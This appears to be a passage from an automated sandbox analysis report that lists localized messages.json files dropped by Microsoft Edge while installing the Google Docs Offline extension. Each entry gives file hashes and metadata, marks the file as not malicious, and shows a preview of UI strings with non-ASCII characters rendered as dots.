Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

